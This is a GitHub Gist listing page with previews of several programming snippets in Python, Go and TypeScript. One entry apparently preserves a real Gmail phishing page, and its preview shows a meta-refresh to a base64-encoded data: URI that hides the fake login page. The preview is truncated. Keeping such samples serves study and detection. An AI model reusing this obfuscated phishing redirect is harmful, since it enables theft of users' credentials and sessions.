Skip to content

Instantly share code, notes, and snippets.

@jpalala
jpalala / react_samples_list.md
Last active April 2, 2023 22:22 — forked from leecade/react_samples_list.md
React Samples List
@JohnTroony
JohnTroony / anazita.html
Created December 8, 2015 14:38
Gmail Phising Page at http://anazita.com/xmz Using Base64 and Javascript to steal your session and password.
<!--Using meta redirect-->
<meta http-equiv="Refresh" content="0; url= data:text/html;base64,PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQoJPGhlYWQ+DQoJCTxsaW5rIGhyZWY9Imh0dHA6Ly9zc2wuZ3N0YXRpYy5jb20vZG9jcy9kb2NsaXN0L2ltYWdlcy9pbmZpbml0ZV9hcnJvd19mYXZpY29uXzQuaWNvIiByZWw9InNob3J0Y3V0IGljb24iIC8+DQoJCTxtZXRhIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiAvPg0KCQk8bWV0YSBjaGFyc2V0PSJ1dGYtOCIgLz4NCgkJPG1ldGEgY29udGVudD0id2lkdGg9MzAwLCBpbml0aWFsLXNjYWxlPTEiIG5hbWU9InZpZXdwb3J0IiAvPg0KCQk8bWV0YSBuYW1lPSIiIHZhbHVlPSJub3RyYW5zbGF0ZSIgLz4NCgkJPG1ldGEgY29udGVudD0iIGlzIGVtYWlsIHRoYXQncyBpbnR1aXRpdmUsIGVmZmljaWVudCwgYW5kIHVzZWZ1bC4gMTUgR0Igb2Ygc3RvcmFnZSwgbGVzcyBzcGFtLCBhbmQgbW9iaWxlIGFjY2Vzcy4iIG5hbWU9ImRlc2NyaXB0aW9uIiAvPg0KCQk8dGl0bGU+IDwvdGl0bGU+DQoJCTxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQpAZm9udC1mYWNlIHsNCiAgZm9udC1mYW1pbHk6ICdPcGVuIFNhbnMnOw0KICBmb250LXN0eWxlOiBub3JtYWw7DQogIGZvbnQtd2VpZ2h0OiAzMDA7DQogIHNyYzogbG9jYWwoJ09wZW4gU2FucyBMaWdodCcpLCBsb2NhbCgnT3BlblNhbnMtTGlnaHQnKSwgdXJsKG
@njsmith
njsmith / ucrt-csv.py
Last active April 6, 2024 18:04
Information on linking to the new Windows UCRT
import sys
import subprocess
import csv
def describe_ucrt_lib(platform):
lib_path = "windows-10-sdk/Lib/10.0.10240.0/ucrt/{}/ucrt.lib".format(platform)
output = subprocess.check_output(["nm", lib_path])
output = output.decode("utf-8")
# Output (x86 32-bit) looks like:
@josephspurrier
josephspurrier / values_pointers.go
Last active April 28, 2024 16:41
Golang - Asterisk and Ampersand Cheatsheet
/*
********************************************************************************
Golang - Asterisk and Ampersand Cheatsheet
********************************************************************************
Also available at: https://play.golang.org/p/lNpnS9j1ma
Allowed:
--------
p := Person{"Steve", 28} stores the value
package main
// doesn't work, unfortunately :|
// #include <windows.h>
// #include <psapi.h>
import "C"
import "unsafe"
import "fmt"
import "syscall"
@alaa-eddine
alaa-eddine / HashMap.ts
Last active April 23, 2019 07:53
This is an experimental HashMap implementation with some features I needed and didn't found in JS default Arrays and Objects Features : * Direct acces too elements throught .get(key) * fast keys or values iteration using for (;;) instead of for in syntax (http://jsperf.com/array-keys-vs-object-keys-iteration/3 )
/*
This is an experimental HashMap implementation with some features I needed and didn't found in JS default Arrays and Objects
Features :
* Direct acces too elements throught .get(key)
* fast keys or values iteration using for (;;) instead of for in syntax (http://jsperf.com/array-keys-vs-object-keys-iteration/3 )
*/
class HashMap {
public length: number = 0;